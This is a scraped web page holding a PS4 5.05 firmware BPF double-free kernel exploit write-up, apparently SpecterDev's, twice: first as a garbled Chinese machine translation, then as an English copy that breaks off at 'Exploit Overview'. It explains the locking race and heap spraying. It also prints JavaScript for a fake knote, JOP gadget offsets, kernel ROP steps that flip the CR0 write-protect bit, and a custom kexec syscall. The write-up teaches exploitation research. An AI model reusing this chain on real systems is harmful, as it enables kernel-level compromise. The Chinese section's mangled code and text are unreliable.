索尼Playstation 4 5.

05 BPF双倍免费.

释放双眼,带上耳机,听听看~!

Sony Playstation 4 5.05 BPF Double Free,Sony Playstation 4 5.05 BPF Double Free,

Sony Playstation 4版本5.05 BPF Double Free kernel漏洞利用白皮书。

,**注意:与4.55类似,此漏洞主要用于PS4上的漏洞利用,但如果攻击者具有足够的权限,也可以在使用Berkely数据包筛选器虚拟机的其他系统上使用,因此发布在“FreeBSD”文件夹下。****如果您发现任何错误或对某些问题有改进清晰性的建议,请打开此回购协议的问题或回复[此推文](https://twitter.com/SpecterDev/status/1017866658407280640)。感谢:)**#介绍欢迎使用5.0x内核漏洞攻击记录。几个月前,[qwertyoruiopz]发现了一个内核漏洞(https://twitter.com/qwertyoruiopz/),并发布了一个针对BPF的漏洞,该漏洞涉及到由于缺乏适当的锁定,通过释放后使用(UAF)创建越界(OOB)写操作。这是一个有趣的bug,也是一个非常微不足道的漏洞。然后,索尼从BPF中删除了写功能,从而修补了漏洞。然而,核心问题仍然存在(缺少锁定)。一个非常相似的比赛条件仍然存在于BPF过去4.55,我们将在下面详细讨论。可在[此处](https://github.com/Cryptogenic/PS4-5.05-Kernel-exploit/blob/master/Kernel.js)找到攻击的完整来源。

此错误不再可访问,但已超过5.05固件,因为BPF驱动程序最终已被阻止,无法访问未授权的进程-WebKit无法再打开它。索尼还在5.0x固件中引入了一种新的安全缓解措施,以防止堆栈指针指向用户空间,不过我们将进一步详细讨论这一点。###假设一些假设是根据读者对写作的了解做出的。avid读取器应该对内存分配器的工作原理有一个基本的了解,更具体地说,malloc()和free()分别是如何分配和释放内存的。他们还应该意识到设备可以被发出命令**并发**,例如,一个命令可以被接收,而另一个命令正在通过线程处理。了解C、x86和开发基础知识也很有帮助,尽管不一定是必需的。#背景本节包含一些有用的信息,这些信息对于那些较新的利用,或不熟悉设备驱动程序,或各种利用技术,如堆喷洒和竞争条件。如果你已经熟悉了这个材料,可以跳到“两个自由的故事”部分。###什么是司机?有几种方法可以让应用程序直接与操作系统通信。其中一个是系统调用,PS4内核中有600多个系统调用,其中约500个是FreeBSD,其余的是索尼实现的。另一种方法是通过所谓的“设备驱动程序”。驱动程序通常用于缩小软件和硬件设备(usb驱动器、键盘/鼠标、网络摄像头等)之间的差距,不过它们也可以仅用于软件目的。userland应用程序可以对驱动程序执行一些操作(如果它有足够的权限),以便在打开驱动程序后与它进行接口。在某些情况下,可以读取、写入它,或者在某些情况下,通过“ioctl()”系统调用向它发出更复杂的命令。这些命令的处理程序是在**kernel**空间中实现的—这一点很重要,因为ioctl处理程序中可能被利用的任何错误都可以作为直接升级到ring0的权限—通常是最有权限的状态。对于攻击者来说,驱动程序通常是操作系统中比较薄弱的部分,因为有时这些驱动程序是由不了解内核工作原理的开发人员编写的,或者驱动程序较旧,因此不适合使用较新的攻击方法。###BPF设备驱动程序如果我们查看一下WebKit的沙盒内部,就会找到一个`/dev’目录。虽然这看起来像根设备驱动程序路径,但这是一个谎言。PS4的许多驱动程序都没有暴露在这个目录下,但是r只有WebKit操作所需的(大部分情况下)。但出于某种原因,BPF(又名。“Berkely数据包过滤器”)设备不仅暴露在WebKit的沙盒中-它还具有以R/W方式打开设备的权限。这非常奇怪,因为在大多数系统中,此驱动程序仅为根(而且理由充分)。如果你想了解更多,请参考我之前的4.55FW的文章。###什么是包过滤器?以下是4.55 bpfwrite writeup的摘录。由于bug直接存在于过滤系统中,所以了解什么是包过滤的基础知识非常重要。过滤器本质上是由“bpf_filter()”解析的伪指令集(在接收数据包时运行)。虽然伪指令集相当少,但它允许您执行基本的算术操作,并在其缓冲区内复制值。将BPF VM整体分解远远超出了本文的范围,只需知道它生成的代码是在内核模式下运行的—这就是为什么对`/dev/BPF’的读/写访问应该具有特权的原因。您可以参考BPF VM使用的操作码[这里](http://fxr.watson.org/fxr/source/net/BPF.h?v=自由bsd90#L995)。###竞争条件当两个进程/线程试图同时访问共享资源而不相互排斥时,就会出现竞争条件。这个问题最终通过引入“互斥锁”或“锁”等概念来解决。这个想法是当一个线程/进程试图访问一个资源时,它首先获取一个锁,访问它,然后在它完成后解锁它。如果另一个线程/进程试图在另一个线程拥有锁的情况下访问它,它将等待另一个线程完成。如果使用得当的话,效果相当不错。锁定很难实现,特别是当您尝试实现细粒度锁定以提高性能时。锁定窗口外的一条指令或一行代码可能会引入竞争条件。并不是所有的竞争条件都可以利用,但有些是(比如这一个),它们可以给攻击者提供非常强大的漏洞。###堆喷洒堆喷洒的过程相当简单-分配一堆内存,并在循环中用受控数据填充它,并祈祷你的分配不会从下面被偷走。当利用诸如use-after-free()之类的东西时,这是一种非常有用的技术,因为您可以使用它将受控数据获取到目标对象的内存中。扩展来说,对double free()也这样做很有用,因为一旦有了过时的引用,我们就可以使用堆喷射来控制数据。由于对象将被标记为“free”-分配器最终将为我们提供对该内存的控制,即使其他对象仍在使用它。也就是说,除非有别的东西已经从你身上偷走了指针,并把它弄坏了——那么你很可能会遇到系统崩溃,这一点都不好玩。这是增加漏洞利用率差异的一个因素,通常,对象越小,发生这种情况的可能性就越大。#两个Free()的例子是通过ioctl()命令,用户可以通过BIOSETWF等命令在给定的描述符上设置过滤程序。还有其他命令可以设置其他过滤器,但是对于这个writeup,write过滤器是我们唯一感兴趣的命令。以前利用此漏洞的一个重要部分是,一旦分配了新的筛选器,就可以通过“bpf_setf()”释放旧的筛选器(此筛选器由“BIOSETWF”的命令处理程序直接调用)。这允许我们在使用过滤器时释放它。这个free()本身也是一个可以利用的bug,并在新的利用中得到利用。让我们再来看看“bpf_setf()”。[来源](http://fxr.watson.org/fxr/source/net/bpf.c?v=FREEBSD90#L1523)“`c static int bpf_setf(struct bpf_d*d,struct bpf_program*fp,u_long cmd){struct bpf_insn*fcode,*old;//。。。如果(cmd==BIOCSETWF){old=d->bd_wfilter;//<----这没有锁定:)wfilter=1;}//。。。如果(fp->bf_insns==NULL){//。。。BPFD_LOCK(d);//。。。BPFD_解锁(d);if(旧!=NULL)空闲((caddr_t)old,M_BPF);返回(0);}//。。。}“`我们可以看到变量on用于保存筛选器指针的堆栈,包括一个用于“old”筛选器的指针,该筛选器最终将获得free()’d。如果ioctl命令设置为“BIOSETWF”,则来自“d->bd wfilter”的指针将复制到“old”堆栈变量。稍后,我们可以看到它们锁定了BPF描述符,并将对过滤器的引用置空。它们锁定了引用清除,但是“d->bd wfilter”的指针被复制到堆栈中呢?正如我们在以前的攻击中看到的,多个线程可以运行并使用同一个“bpf”对象。如果我们要并行设置两个过滤器,两个线程有可能将同一个指针复制到它们的内核堆栈,最终导致两个指针都将被处理时的双重空闲。![演示gif](https://i.imgur.com/2v2Hwqk.gif)#用double free()原语毒害分配器,我们有能力通过毒害内存分配器来实现内核堆上的内存损坏。这基本上允许我们在损坏后分配的对象上创建targeted use-after-free()(UAF)。#Corrupting knotes#######Summary类似于1.76,此漏洞利用的目标对象是“knote”对象。`kqueue`对象表示引发这些事件的事件队列。`结列表由它们所在的“kqueue”管理。knote对象用于表示内存中的内核事件,并通过一个单独的链表链接在一起。Qwerty之所以选择“knote”,是因为knote列表(称为“knlist”),因为它可以在一定程度上控制大小。让我们看看这个结构(为了简洁起见,宏已经被修改了)。[src](http://fxr.watson.org/fxr/source/sys/event.h?锁定*/int kn_sfflags;/*保存的筛选器标志*/intptr_t kn_sdata;/*保存的数据字段*/union{struct file*p_fp;/*文件数据指针*/struct proc*p_proc;/*proc指针*/struct aiocblist*p_aio;/*aio作业指针*/struct aio lio job*p_lio;/*lio作业指针*/}kn ptr;struct filterops*kn fop;//<--作为攻击者感兴趣,偏移量:0x68 void*kn hook;int kn_hookid;};``这里有一个有趣的字段,偏移量0x68处的'struct filterops*kn_fop'。这本质上是一个函数指针表,在事件发生时(如附加或分离)会被引用。“f_detach”函数指针将在“kqueue”和扩展名“knote”被销毁时被取消引用和调用。[src](http://fxr.watson.org/fxr/source/sys/event.h?v=FREEBSD90#L182```c struct filterops{int fŧisfd;int(*fŧattach)(struct knote*kn);void(*fŧdetach)(struct knote*kn);int(*fŧevent)(struct knote*kn,long hint);void(*fŧtouch)(struct knote*kn,struct kevent*kev,u long type);};``,当通过销毁损坏的“kqueue”来销毁对象时,可以劫持指令指针,从而执行任意代码。###利用概述我们的利用策略是针对'knote'对象上的UAF来劫持指令指针。让我们分解成功利用的步骤/阶段。1) 打开BPF描述符,设置一个NOP过滤器和一个堆喷洒过滤器2)在WebKit的堆中为JOP设置假“knote”对象。3) 设置内核ROP链4)启动线程1 5)启动线程2线程1将执行以下操作:1)通过“sys_kqueue()”创建kqueue 2)在设备上设置筛选器以试图毒害分配器3)触发kevent 4)执行堆喷射以尝试实现内存损坏5)关闭kqueue(尝试实现代码执行)线程2只需继续尝试设置写入筛选器。#作为5.0x版本中的一个糟糕的mans SMAP,索尼似乎在调度程序中添加了一些缓解措施,以便在内核内容中运行时根据用户的地址检查堆栈指针xt,类似于现代系统中日益普遍的“监控模式访问预防”(SMAP)缓解措施。这将一个原本相当微不足道的漏洞转化为一些复杂的内核内存操作,以运行内核ROP(kROP)链。据我所知,这方面的研究还不多,但尝试一个简单的堆栈轴心点,就像我们以前对userland内存的利用一样,会导致内核崩溃。为了避免这种情况,我们需要将ROP链放入内核内存。为此,qwerty决定使用他在iPhone7上使用的方法——基本上是使用JOP将一堆堆栈帧推送到内核堆栈上,然后使用“memcpy()”将链放入“RSP”。您可以在[此处](https://github.com/kpwn/PS4-5.05-Kernel-exploit/blob/9e97c398342ed6499a00fce081f7bf1efaef1/Kernel.js)中找到该漏洞的详细注释,以帮助理解它,因为它确实变得非常复杂。#JOP解释说,软件工程师已经开始明智地使用堆栈轴技术,防止攻击者将轴堆栈到用户控制的内存中是一个相当不错的反措施,但是,与其他方法一样,它是可以绕过的。JOP(面向跳跃的编程)是一种方法。您可以使用JOP来实现一个完整的链,或者将其用作通过将ROP链放入内核内存来获取ROP的方法。后者是首选,因为在JOP中实现逻辑(尽管可能)可能是一场噩梦。###ROP与JOP面向返回的编程(ROP)本质上是创建一个伪堆栈并将小部件的地址推送到它上面,然后将RSP旋转到它上面的过程。然后像真正的调用堆栈一样执行gadgets链,每次“ret”指令被命中时,该链中的下一个gadget就会运行。面向跳转编程(JOP)的工作方式有点不同。不是用“ret”指令结束小工具,而是用“jmp”指令结束小工具。只要你控制了目的地(可能有一个寄存器你可以影响它的值),你就可以把它和其他小工具链接起来,而不需要使用一个假堆栈。例如,如果控制“rax”的值,则小工具可以以“jmp rax”结尾。通过将“rax”的值设置为下一个小工具的地址,可以将它们链接起来。有了JOP,您通常必须获得更多的创造性,因为您对潜在的小工具的限制更大-这就是为什么在JOP中实现全链不是首选的原因。[src](https://marcoramilli.blogspot.com/2011/12/from-rop-to-jop.html)![](https://2.bp.blogspot.com/-yUFFwdM6oO0/Tuiw4OjNixI/aaaaaaaa k3e/tSw-A5H-O9o/s1600/Screen+Shot+2011-12-14+at+3.20.51+PM.png)伪造一个结既然我们已经介绍了利用的基本知识和JOP的基本知识,我们将开始利用这个bug的过程。我们需要做的第一件事是设置一个假“knote”对象来向堆中喷射。幸运的是,伪造这个对象很容易,不需要为了稳定而伪造一堆成员,我们只需要伪造几个成员以及目标对象“kn_fops”。“ctxp”缓冲区用于设置我们的假“knote”。```javascript var ctxp=p.malloc32(0x2000);//ctxp=knote p.writee8(ctxp.add32(0),ctxp2);//0x00=kn_link-对于kqueue本身并不重要,但对于JOP小工具p.writee8(ctxp.add32(0x50),0);//0x50=kn_status=0(调用分离的清除标志)p.writee8(ctxp.add32(0x68),ctxp1);//0x68=kn_fops``注意,我们已经将'kn_fops'设置为''ctxp1'-这是假'kn_fops'函数表的缓冲区。在这个表中,我们只需要伪造“kn_fops->f_detach()”,因为这是在kqueue销毁时调用的唯一函数。“`javascript var ctxp1=p.malloc32(0x2000);//ctxp1=knote->kn_fops p.writee8(ctxp1.add32(0x10),offsetToWebKit(0x12A19CD));//JOP gadget“`如您所见,这是我们实现任意代码执行的地方,我们将RIP定向到WebKit中的’0x12A19CD’。下面是一段x86代码片段,用于“kqueue_close()”,在这里可以控制指令指针。[src](http://fxr.watson.org/fxr/source/kern/kern_event.c?v=FREEBSD90#L1664)“`;注:R14=ctxp seg000:ffffffff 89d29861 test字节ptr[r14+50h],8;我们将ctxp+0x50设置为0,所以seg000:ffffffff 89d29866 jnz short loc_fffffff89d29872;不相关的seg000:ffffffff 89d29868 mov rax,[r14+68h];r14+0x68=ctxp1 seg000:ffffffff 89d2986c mov rdi,r14;r14+0x00=ctxp2=rdi seg000:ffffffffff 89d2986f call qword ptr[rax+10h];JOP gadget“还注意到,我们通过’r14’寄存器控制这里的’rdi’寄存器。在正常情况下,knote对象“kn”被加载到“rdi”中,因为它是“kn”->“kn”->“kn”->“fop”->“f”->“detach()”的第一个参数,但是由于“knote”上有损坏,我们不仅可以控制跳到哪里,还可以控制参数。这对JOP很重要,因为第一个JOP小工具中的下一个跳转需要我们控制RDI寄存器。#代码执行在kstack上创建空间以在堆栈上推送一些空间,我们可以使用JOP链。我们将使用变量stackshift from_retaddr来跟踪我们在堆栈上推了多少。首先,我们将运行一个函数序言,它将从RSP中减去,为我们将ROP链放入其中创造空间。这个函数序言是我们在“0x12A19CD”上的第一个JOP小工具,我们之前在我们喷洒的假“knote”中设置了这个小工具。“`seg000:00000000012A19CD sub rsp,58h seg000:00000000012A19D1 mov[rbp-2Ch],edx seg000:00000000012A19D4 mov r13,rdi seg000:00000000012A19D7 mov r15,rsi seg000:00000000012A19DA mov rax,[r13+0]seg000:00000000012A19DE call qword ptr[rax+7D0h]//从rsp“隐式地sub 0x8此时,我们与原始堆栈指针相距0x5C。现在记住,要让JOP工作,我们需要能够控制下一步代码跳转的位置,这意味着我们必须控制“rax”。幸运的是,我们可以看到’rax’是从’r13+0’加载的,而’r13’是从’rdi’设置的。如上所述,我们通过“knote”对象在“rdi”上有损坏。如果我们看看前面从内核调用JOP小工具的部分,我们将“rdi”设置为“ctxp2”。下一个小工具将在“ctxp2+0x7D0”调用,我们将设置为“0x6EF4E5”。“`javascript p.write8(ctxp2.add32(0x7d0),offsetToWebKit(0x6EF4E5));“““seg000:0000000006ef4e5 mov rdi,[rdi+10h]seg000:0000000006ef4e9 jmp qword ptr[rax]“这个小工具允许我们将’rdi’设置为一个新值,并跳到’rax’,它仍然相当于’ctxp2’的地址。注意,这个gadget允许我们循环,因为我们可以将第一个gadget写入“ctxp2”,并通过“rdi+0x10”设置第一个gadget跳转到的位置。“`地址32(0x18),iterbase.add32(0x20+8)iterbase=iterbase.add32(0x20);//setup next loop}““““““““准备memcpy调用““““`基础现在我们已经在堆栈上创建了空间,我们希望将内核ROP链复制到其中以执行。让我们来看看memcpy()的函数签名:“`c void*memcpy(void*destination,const void*source,size\u t num);“`根据x64 ABI(应用程序二进制接口)中的定义,以下寄存器用于向函数传递参数:“rdi-第一个参数rsi-第二个参数rdx-第三个参数rcx-第四个参数r8-第五个参数r9-第六个参数[堆栈]-七个+参数“因此,以下寄存器对这个memcpy调用:“`rdi(内存目标指针)rsi(内存源指针)rdx(大小以字节为单位)“““““设置大小的第一件事是加载rdx的大小。我们可以通过WebKit中的另一个JOP小工具在“0x15CA41B”上执行此操作。“`seg000:00000000015CA41B mov rdx,[rdi+0B0h]seg000:00000000015CA422调用qword ptr[rdi+70h]“我们可以通过’rdibase’变量相对于rdi写入。通过添加shift加上0x28(堆栈上写入位置的偏移量),我们可以加载具有链长度的RDX。####接下来我们将在RSI中加载源指针。我们想让它指向我们写内核的地方在userland中复制链。与设置大小类似,我们将再次寻找一个JOP小工具,该小工具可以从内存相对于RDI设置RSI。位于“0x1284834”的WebKit就起到了作用。“`seg000:0000000001284834 mov rsi,[rdi+8]seg000:0000000001284838 mov rdi,[rdi+18h]seg000:000000000128483C mov rax,[rdi]seg000:000000000128483F call qword ptr[rax+30h]“““““““““““设置目的地最后,我们需要设置rdi,以便它指向我们在内核堆栈上推送的所有假堆栈帧。结果是在RBP(基指针)-0x28。我们可以在“0x272961”使用另一个JOP小工具。“`seg000:0000000000272961 lea rdi,[rbp-28h]seg000:0000000000272965调用qword ptr[rax+40h]“““““““调用Memcpy()`。注意上一个JOP小工具中,我们跳到的下一个地方是基于`[rax+0x40]`设置的。这是我们要在userland中写入“memcpy()”地址的地方。我们将跳过函数序言和优化,以避免以前的JOP小工具产生的副作用。“`javascript p.write8(raxbase.add32(0x40),memcpy.add32(0xC2-0x90));//skip prolog覆盖副作用分支并跳过优化var topofchain=stackshift_from_retaddr+0x28;p.write8(rdibase.add32(0xB0),topofchain);““`利用漏洞调试(Kind Of)#####摘要建议我应该包括一个包含发生并发症的一些细节。我们已经详细介绍了其中一个,类似于SMAP的实现,但是另一个是缺少调试。在这个时候,我们还没有为使用PS4设置内核调试框架。然而,我们确实有能力修补内核,以使UART和“冗长的恐慌”信息,如果我们有一个现有的内核漏洞工作。当然,一旦系统重新启动,我们就不能再访问UART或详细的恐慌信息,即使我们这样做了。###打印到klog/UART上的致命陷阱恐慌信息对于调试漏洞是非常有用的工具(这可能就是索尼当初禁用它的原因)。下面是来自klog的标准页错误死机示例:“致命陷阱12:在内核模式下的页错误cpuid=0;apic id=01 fault virtual address=0xffffde1704254000 fault code=supervisor read instruction,保护冲突指令指针=0x20:0xffffde1704254000堆栈指针=0x28:0xffffff807119b220帧指针=0x28:0xffffff807119b2b0代码段=base 0x0,limit 0xfffffff,类型0x1b=DPL 0,pres 1,long 1,def32 0,gran 1处理器eflags=interrupt enabled,resume,IOPL=0当前进程=87(infloopThr)“如您所见,这里的一些信息非常有用,特别是虚拟地址和指令指针。###复杂度当系统实际把这些信息提供给我们时,这些信息是非常棒的。但是,在某些情况下,系统不会这样做。通常这似乎是因为崩溃发生在*关键部分*,例如直接在free()内部。有关关键部分的详细信息,请参阅[关键部分](https://en.wikipedia.org/wiki/critical_section)。其他时候,我们没有得到这些信息的原因是未知的。如果我们无法获得恐慌信息,因为我们要么没有现有的漏洞,要么无法将信息打印到KLoG中,必须使用其他技巧,例如使用FILBOCH小工具和其他“哈奇”开发调试技术。#修补内核########禁用写保护由于上一节描述的堆栈操作魔法,现在我们有能力运行内核ROP链,我们可以在通过“cr0”寄存器禁用内核写保护后应用内核修补程序。我们只需在第16位翻转写保护位就可以做到这一点。[src](https://en.wikipedia.org/wiki/Control#register#CR0)![cr0表格](https://i.imgur.com/L2DwIrz.png)“js krop.push(window.gadgets[“pop rsi”]);krop.push(new int64(0xFFFEFFFF,0xFFFFFFFF));//Flip WP bit krop.push(window.gadgets[“and rax,rsi”]);krop.push(window.gadgets[“mov rdx,rax”]);““`###安装系统调用(Kexec)为了简洁起见,我不会详细介绍所有的补丁,不过这里简要介绍一下ROP链中的补丁。“`sys_setuid sys call-remove permission check sys_mmap syscall-allow RWX mapping amd64_syscall-syscall instruction allowed anywhere sys_dynlib_dlsym syscall-allow dynamic resolving from anywhere“链的主要目标是安装我们自己的名为’kexec’的系统调用。这将允许我们从任何应用程序中轻松地以内核模式执行任意代码,无论权限如何。“`c sys_kexec(void*code,void*uap);“`越狱和母鸡之类的代码是通过’kexec’运行的。安装它相当简单,我们只需在sysent中添加一个条目。[来源](http://fxr.watson.org/fxr/source/sys/sysent.h?v=FREEBSD90#L56)“c struct sysent{/*系统调用表*/int sy-narg;/*参数数*/sy-call _t*sy-call;/*实现函数*/au-event _tsy-auevent;/*与syscall*/systrace _-args _-func关联的审核事件*/systrace _-sy _-systrace _-args _-func;/*可选参数转换函数。*/u_int32_t sy_entry;/*systrace的DTrace entry ID。*/u_int32_t sy_return;/*systrace的DTrace return ID。*/u_int32_t sy_flags;/*系统调用的通用标志。*/u廑int32廑t sy廑thrcnt;};“通过将’sy廑call’设置为’jmp qword ptr[rsi]`gadget(可以在内核中的偏移量’0x13460’处找到)、’sy廑narg’设置为’2’,将’sy廑flags’设置为’sy廑THR廑STATIC’(’100000000’),我们可以成功插入一个自定义系统调用,该系统调用在ring0中执行代码。“`seg000:ffffffff 8ac38820 dq 2;Syscall#11 seg000:ffffffff 8ac38828 dq 0ffffffffff89bcf460h seg000:ffffffffff 8ac38830 dq 0 seg000:ffffffffff 8ac38838 dq 0 seg000:ffffffff 8ac38840 dq 0 seg000:ffffff 8ac38848 dq 10000000h““““““““““““““““““““““““““““““““““““。对于未授权的进程,如WebKit和其他应用程序/游戏,已阻止打开BPF。它仍然存在于沙箱中,但是尝试打开它将失败并产生EPERM。#结论另一个可以利用的酷虫。这应该是一个微不足道的漏洞,但是索尼的新的缓解措施,防止开发人员在内核上下文中将RSP转为userland内存,这是非常有效的,而且必须使用一些技巧,以使链进入内核内存-但正如所示,它是可击败的。此漏洞也是一个很好的例子,说明如果double free()位于大小合适的对象上,那么它们在FreeBSD上是如何很容易被利用的。#Credits[qwertyoruiopz](https://twitter.com/qwertyoruiopz)[flat z](https://twitter.com/flatŠz)Š附加感谢[TheFloW](https://twitter.com/theflow0)-建议和反馈Š参考[qwertyoruiopz:详细注释](https://github.com/kpwn/PS4-5.05-Kernel-Exploit/blob/9e97c398342ed649a00fce081f7b1efaef1/Kernel.js)[qwertyoruiopz:Zero2Ring0幻灯片](http://crack.bargains/02r0.pdf)[Watson FreeBSD Kernel Cross Reference](http://fxr.Watson.org/fxr/source/?v=FREEBSD90)[Marco Ramilli:From ROP to JOP](https://marcoramilli.blogspot.com/2011/12/From-ROP-to-JOP.html)[Wikipedia:Control register(cr0)](https://en.Wikipedia.org/wiki/Control#register#cr0)[Wikipedia:Critical section](https://en.Wikipedia.org/wiki/Critical#section,网络安全教程Sony Playstation 4 5.05 BPF Double Free,

Sony Playstation 4 version 5.05 BPF double-free kernel exploit whitepaper.

,**Note: Similar to 4.55, this bug is interesting primarily for exploitation on the PS4, but it can also be used on other systems using the Berkely Packet Filter VM if the attacker has sufficient permissions, so it's been published under the "FreeBSD" folder.**

**If you found any mistakes or have suggestions to improve clarity on some points, either open an issue on this repo or reply them to [this tweet](https://twitter.com/SpecterDev/status/1017866658407280640). Thanks :)**
# Introduction
Welcome to the 5.0x kernel exploit write-up. A few months ago, a kernel vulnerability was discovered by [qwertyoruiopz](https://twitter.com/qwertyoruiopz/) and an exploit was released for BPF which involved crafting an out-of-bounds (OOB) write via use-after-free (UAF) due to the lack of proper locking. It was a fun bug, and a very trivial exploit. Sony then removed the write functionality from BPF, so that exploit was patched. However, the core issue still remained (being the lack of locking). A very similar race condition still exists in BPF past 4.55, which we will go into detail below on. The full source of the exploit can be found [here](https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/kernel.js).

<p align="center">
<img src="http://instaco.de/stream/116723">
</p>

This bug is no longer accessible however past 5.05 firmware, because the BPF driver has finally been blocked from unprivileged processes - WebKit can no longer open it.

Sony also introduced a new security mitigation in 5.0x firmwares to prevent the stack pointer from pointing into user space, however we'll go more in detail on this a bit further down.

### Assumptions
Some assumptions are made of the reader's knowledge for the writeup. The avid reader should have a basic understanding of how memory allocators work - more specifically, how malloc() and free() allocate and deallocate memory respectively. They should also be aware that devices can be issued commands **concurrently**, as in, one command could be received while another one is being processed via threading. An understanding of C, x86, and exploitation basics is also very helpful, though not necessarily required.

# Background
This section contains some helpful information to those newer to exploitation, or are unfamiliar with device drivers, or various exploit techniques such as heap spraying and race conditions. Feel free to skip to the "A Tale of Two Free()'s" section if you're already familiar with this material.

### What Are Drivers?
There are a few ways that applications can directly communicate with the operating system. One of which is system calls, which there are over 600 of in the PS4 kernel, ~500 of which are FreeBSD - the rest are Sony-implemented. Another method is through something called "Device Drivers". Drivers are typically used to bridge the gap between software and hardware devices (usb drives, keyboard/mouse, webcams, etc) - though they can also be used just for software purposes.

There are a few operations that a userland application can perform on a driver (if it has sufficient permissions) to interface with it after opening it. In some instances, one can read from it, write to it, or in some cases, issue more complex commands to it via the `ioctl()` system call. The handlers for these commands are implemented in **kernel** space - this is important, because any bugs that could be exploited in an ioctl handler can be used as a privilege escalation straight to ring0 - typically the most privileged state.

Drivers are often the more weaker points of an operating system for attackers, because sometimes these drivers are written by developers who don't understand how the kernel works, or the drivers are older and thus not wise to newer attack methods.

### The BPF Device Driver
If we take a look around inside of WebKit's sandbox, we'll find a `/dev` directory. While this may seem like the root device driver path, it's a lie. Many of the drivers that the PS4 has are not exposed to this directory, but rather only ones that are needed for WebKit's operation (for the most part). For some reason though, BPF (aka. the "Berkely Packet Filter") device is not only exposed to WebKit's sandbox - it also has the privileges to open the device as R/W. This is very odd, because on most systems this driver is root-only (and for good reason). If you want to read more into this, refer to my previous write-up with 4.55FW.

### What Are Packet Filters?
Below is an excerpt from the 4.55 bpfwrite writeup.

Since the bug is directly in the filter system, it is important to know the basics of what packet filters are. Filters are essentially sets of pseudo-instructions that are parsed by `bpf_filter()` (which are ran when packets are received). While the pseudo-instruction set is fairly minimal, it allows you to do things like perform basic arithmetic operations and copy values around inside it's buffer. Breaking down the BPF VM in it's entirety is far beyond the scope of this write-up, just know that the code produced by it is ran in kernel mode - this is why read/write access to `/dev/bpf` should be privileged.

You can reference the opcodes that the BPF VM takes [here](http://fxr.watson.org/fxr/source/net/bpf.h?v=FREEBSD90#L995).

### Race Conditions
Race conditions occur when two processes/threads try to access a shared resource at the same time without mutual exclusion. The problem was ultimately solved by introducing concepts such as the "mutex" or "lock". The idea is when one thread/process tries to access a resource, it will first acquire a lock, access it, then unlock it once it's finished. If another thread/process tries to access it while the other has the lock, it will wait until the other thread is finished. This works fairly well - when it's used properly.

Locking is hard to get right, especially when you try to implement fine-grained locking for performance. One single instruction or line of code outside the locking window could introduce a race condition. Not all race conditions are exploitable, but some are (such as this one) - and they can give an attacker very powerful bugs to work with.

### Heap Spraying
The process of heap spraying is fairly simple - allocate a bunch of memory and fill it with controlled data in a loop and pray your allocation doesn't get stolen from underneath you. It's a very useful technique when exploiting something such as a use-after-free(), as you can use it to get controlled data into your target object's backing memory.

By extension, it's useful to do this for a double free() as well, because once we have a stale reference, we can use a heap spray to control the data. Since the object will be marked "free" - the allocator will eventually provide us with control over this memory, even though something else is still using it. That is, unless, something else has already stolen the pointer from you and corrupts it - then you'll likely get a system crash, and that's no fun. This is one factor that adds to the variance of exploits, and typically, the smaller the object, the more likely this is to happen.

# A Tale of Two Free()'s
Via `ioctl()` command, a user can set a filter program on a given descriptor via commands such as `BIOSETWF`. There are other commands to set other filters, however the write filter is the only one interesting to us for this writeup. An important part of the previous exploit was the power to free() an older filter once a new one has been allocated, via `bpf_setf()`, which is called directly by `BIOSETWF`'s command handler. This allowed us to free() a filter while it was in use. This free() in itself is also a bug that can be exploited, and is leveraged in the newer exploit. Let's take a look at `bpf_setf()` again.

[src](http://fxr.watson.org/fxr/source/net/bpf.c?v=FREEBSD90#L1523)
```c
static int bpf_setf(struct bpf_d *d, struct bpf_program *fp, u_long cmd)
{
struct bpf_insn *fcode, *old;

// ...

if (cmd == BIOCSETWF) {
old = d->bd_wfilter; // <----- THIS ISN'T LOCKED :)
wfilter = 1;
}

// ...
if (fp->bf_insns == NULL) {
// ...

BPFD_LOCK(d);

// ...

BPFD_UNLOCK(d);

if (old != NULL)
free((caddr_t)old, M_BPF);

return (0);
}

// ...
}
```

We can see that there are variables on the stack to hold filter pointers, including one for the `old` filter which eventually gets free()'d. If the ioctl command is set to `BIOSETWF`, the pointer from `d->bd_wfilter` is copied to the `old` stack variable.

Later on, we can see that they lock the BPF descriptor, and null the references to the filters. They lock the reference clearing, but what about the pointer of `d->bd_wfilter` being copied to the stack? As we've seen in previous exploits, multiple threads can run and use the same `bpf_d` object. If we were to race setting two filters in parallel, there's a chance that both threads will copy the same pointer to their kernel stacks, eventually resulting in a double free as both pointers will be processed.

![demonstration gif](https://i.imgur.com/2v2Hwqk.gif)

# Poisoning the Allocator
With a double free() primitive, we have the ability to achieve memory corruption on the kernel heap by poisoning the memory allocator. This essentially allows us to create a targetted use-after-free() (UAF) on an object allocated post-corruption.

# Corrupting knotes
### Summary
Similar to 1.76, the target object for this exploit that was used was the `knote` object. `kqueue` objects represent event queues for raising these events. `knote` lists are managed by the `kqueue` they are in. The `knote` object is used to represent a kernel event in memory, and are linked together by a singly linked list. Qwerty chose `knote` because of knote lists (called `knlist`), as it gives us some degree of control of the size. Let's take a look at the structure (macros have been ommited for brevity sake).

[src](http://fxr.watson.org/fxr/source/sys/event.h?v=FREEBSD90#L196)
```c
struct knote {
SLIST_ENTRY(knote) kn_link; /* for kq */
SLIST_ENTRY(knote) kn_selnext; /* for struct selinfo */

struct knlist *kn_knlist; /* f_attach populated */
TAILQ_ENTRY(knote) kn_tqe;
struct kqueue *kn_kq; /* which queue we are on */
struct kevent kn_kevent;
int kn_status; /* protected by kq lock */
int kn_sfflags; /* saved filter flags */
intptr_t kn_sdata; /* saved data field */

union {
struct file *p_fp; /* file data pointer */
struct proc *p_proc; /* proc pointer */
struct aiocblist *p_aio; /* AIO job pointer */
struct aioliojob *p_lio; /* LIO job pointer */
} kn_ptr;

struct filterops *kn_fop; // <--- Of interest as an attacker, offset: 0x68
void *kn_hook;
int kn_hookid;
};
```

There's an interesting field there, `struct filterops *kn_fop` at offset 0x68. This is essentially a table of function pointers that is referenced when something happens with the event, such as an attach or detach. The `f_detach` function pointer will be dereferenced and called when the `kqueue` and by extension the `knote` is being destroyed.

[src](http://fxr.watson.org/fxr/source/sys/event.h?v=FREEBSD90#L182)
```c
struct filterops {
int f_isfd;
int (*f_attach)(struct knote *kn);
void (*f_detach)(struct knote *kn);
int (*f_event)(struct knote *kn, long hint);
void (*f_touch)(struct knote *kn, struct kevent *kev, u_long type);
};
```
By corrupting the `f_detach` function pointer, hijacking of the instruction pointer and thus arbitrary code execution can be achieved when the object is destroyed via the destruction of the corrupted `kqueue`.

### Exploit Overview
